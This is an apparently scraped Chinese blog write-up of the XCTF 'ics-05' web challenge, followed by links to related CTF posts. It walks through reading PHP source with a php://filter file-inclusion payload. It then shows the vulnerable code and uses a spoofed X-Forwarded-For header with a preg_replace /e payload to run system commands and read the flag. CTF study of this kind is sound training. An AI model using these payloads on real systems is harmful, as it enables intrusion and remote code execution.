题目:

题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
题目场景:

 

1.进入云平台设备中心界面,查看以下源码发现?page= ,(点下云平台设备维护中心url里也能出?page=字样)

===============================================================================================================================

2.看到?page=index,这里通过get方法传参,联想是否存在文件包含漏洞。

通过php://伪协议获取index.php源码。?page=php://filter/read=convert.base64-encode/resource=index.php

 3.获得index.php源码后发现是加密后的,通过解码工具解码结果如下:

  1. <?php
  2. error_reporting(0);
  3.  
  4. @session_start();
  5. posix_setuid(1000);
  6.  
  7. ?>
  8. <!DOCTYPE HTML>
  9. <html>
  10.  
  11. <head>
  12. <meta charset="utf-8">
  13. <meta name="renderer" content="webkit">
  14. <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  15. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
  16. <link rel="stylesheet" href="layui/css/layui.css" media="all">
  17. <title>设备维护中心</title>
  18. <meta charset="utf-8">
  19. </head>
  20.  
  21. <body>
  22. <ul class="layui-nav">
  23. <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
  24. </ul>
  25. <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
  26. <legend>设备列表</legend>
  27. </fieldset>
  28. <table class="layui-hide" id="test"></table>
  29. <script type="text/html" id="switchTpl">
  30. <!-- 这里的 checked 的状态只是演示 -->
  31. <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
  32. </script>
  33. <script src="layui/layui.js" charset="utf-8"></script>
  34. <script>
  35. layui.use('table', function() {
  36. var table = layui.table,
  37. form = layui.form;
  38.  
  39. table.render({
  40. elem: '#test',
  41. url: '/somrthing.json',
  42. cellMinWidth: 80,
  43. cols: [
  44. [
  45. { type: 'numbers' },
  46. { type: 'checkbox' },
  47. { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
  48. { field: 'name', title: '设备名', templet: '#nameTpl' },
  49. { field: 'area', title: '区域' },
  50. { field: 'status', title: '维护状态', minWidth: 120, sort: true },
  51. { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
  52. ]
  53. ],
  54. page: true
  55. });
  56. });
  57. </script>
  58. <script>
  59. layui.use('element', function() {
  60. var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
  61. //监听导航点击
  62. element.on('nav(demo)', function(elem) {
  63. //console.log(elem)
  64. layer.msg(elem.text());
  65. });
  66. });
  67. </script>
  68.  
  69. <?php
  70.  
  71. $page = $_GET[page];
  72.  
  73. if (isset($page)) {
  74.  
  75. if (ctype_alnum($page)) {
  76. ?>
  77.  
  78. <br /><br /><br /><br />
  79. <div style="text-align:center">
  80. <p class="lead"><?php echo $page; die();?></p>
  81. <br /><br /><br /><br />
  82.  
  83. <?php
  84.  
  85. }else{
  86.  
  87. ?>
  88. <br /><br /><br /><br />
  89. <div style="text-align:center">
  90. <p class="lead">
  91. <?php
  92.  
  93. if (strpos($page, 'input') > 0) {
  94. die();
  95. }
  96.  
  97. if (strpos($page, 'ta:text') > 0) {
  98. die();
  99. }
  100.  
  101. if (strpos($page, 'text') > 0) {
  102. die();
  103. }
  104.  
  105. if ($page === 'index.php') {
  106. die('Ok');
  107. }
  108. include($page);
  109. die();
  110. ?>
  111. </p>
  112. <br /><br /><br /><br />
  113.  
  114. <?php
  115. }}
  116.  
  117. //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
  118.  
  119. if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
  120.  
  121. echo "<br >Welcome My Admin ! <br >";
  122.  
  123. $pattern = $_GET[pat];
  124. $replacement = $_GET[rep];
  125. $subject = $_GET[sub];
  126.  
  127. if (isset($pattern) && isset($replacement) && isset($subject)) {
  128. preg_replace($pattern, $replacement, $subject);
  129. }else{
  130. die();
  131. }
  132.  
  133. }
  134.  
  135. ?>
  136.  
  137. </body>
  138.  
  139. </html>

代码审计,发现重要部分如下:

 4.代码审计,发现如下信息:

  1)需要在HTTP请求头伪造XFF,地址是:127.0.0.1

  通过burpsuite可以伪造XFF

  2)伪造XFF头来登入系统,同时利用preg_replace函数的漏洞:

  preg_replace( pattern , replacement , subject ):当patter参数设置为/e的时候,参数replacement的代码会当成php代码执行。

  因此可以构造payload为?pat=/test/e&rep=system(%22find+-iname+flag%22) &sub=test

改好包后,发送发现      ./s3chahahaDir/flag    

5.通过cd进入并查看。+会解析为空格,"会解析为%22, %26会解析为&

payload为?pat=/test/e&rep=system(%22cd+./s3chahahaDir/flag+ls%22) &sub=test

 6.找到了flag.php文件。构造payload为?pat=/test/e&rep=system(%22cat+./s3chahahaDir/flag/flag.php%22) &sub=test

查看结果,找到flag,如下:

==============================================================

总结:

(1)?page= 可以通过php://伪协议读取php源码,进行代码审计。

payload:   ?page=php://filter/read=convert.base64-encode/resource=index.php

(2)pre_replace()函数

  1. preg_replace 函数执行一个正则表达式的搜索和替换。
  2. 语法
  3. mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
  4. 搜索 subject 中匹配 pattern 的部分, replacement 进行替换。
  5. 参数说明:
  6. $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  7. $replacement: 用于替换的字符串或字符串数组。
  8. $subject: 要搜索替换的目标字符串或字符串数组。
  9. $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  10. $count: 可选,为替换执行的次数。
    =====================================================================================
    pre_replace()安全问题:
    preg_replace( pattern , replacement , subject ):当patter参数设置为/e的时候,参数replacement的代码会当成php代码执行。

    3)常用url编码对应
    +或%20对应空格
    %22对应双引号
    %26对应 &
    4XFF X-Forwarded-For LFI:Local File Included

攻防世界Web_ics_05的更多相关文章

  1. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  2. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  3. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  4. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  5. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  6. 攻防世界 | CAT

    来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...

  7. 攻防世界 robots题

    来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...

  8. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  9. CTF -攻防世界-crypto新手区(5~11)

    easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间  明明没算错 ...

随机推荐

  1. PIKACHU之文件包含漏洞

    PIKUCHU靶场之文件包含 一.file inclusion(local) 实验源码: <?php /** * Created by runner.han * There is nothing ...

  2. 【SpringCloud-Alibaba】环境搭建以及注意事项

    一.开发环境 JDK 1.8 SpringBoot 2.1.7.RELEASE SpringCloud-Alibaba 2.1.2.RELEASE 数据库MySQL 5.8 如果需要修改版本请参照:S ...

  3. 【刷题-LeetCode】150 Evaluate Reverse Polish Notation

    Evaluate Reverse Polish Notation Evaluate the value of an arithmetic expression in Reverse Polish No ...

  4. 整理全网最全K8S集群管理工具、平台

    整理常见的整理全网最全K8S集群管理工具.平台解决方案. 1 Rancher Rancher中文官网:https://docs.rancher.cn/ 2 KubeSphere 官网:https:// ...

  5. 【webpack4.0】---base.config.js基本配置(五)

    一.创建项目初始化 1.初始化项目npm init -y 2.创建 src (用来存放开发环境的代码)文件夹.  config (用来存放webpack的配置项)文件夹 3.安装webpack  We ...

  6. 重启WAS实例

    /opt/IBM/WebSphere90/AppServer/profiles/appprofile/bin/startServer.sh DASMGW01IDHK-AS01 /opt/IBM/Web ...

  7. python小兵 面向对象继承super和c3算法

    python多继承 在前面的学习过程中. 我们已经知道了Python中类与类之间可以有继承关系. 当出现了x是一种y的的时候. 就可以使⽤继承关系. 即"is-a" 关系. 在继承 ...

  8. 导入 static 修饰的包

    一 static关键字,可以修饰变量  方法  代码块 ,  静态内部类.  还可以用来修饰 需要导入的包 准备工作 package zhouxufeng; public class Text1 { ...

  9. 如何使用 C++ 和 OpenCV 实现截屏

    前言 实现屏幕截屏需要用到 Windows API,所以需要包括 Windows.h 头文件.同时我们想要对截图做进一步的处理,就需要用到 OpenCV.关于 OpenCV 的安装与编译可以参见 &l ...

  10. Rock Pi开发笔记(一):Rock Pi系列arm产品方案快速落地方案介绍

    前言   开发RK3399等相关的项目和产品做评估,最近发现Rock Pi4是一个很好的评估版,价格合适,能满足评估的开发,像树莓派一样留出来引脚接口,是很好的快速落地arm系列产品和项目的较好方案选 ...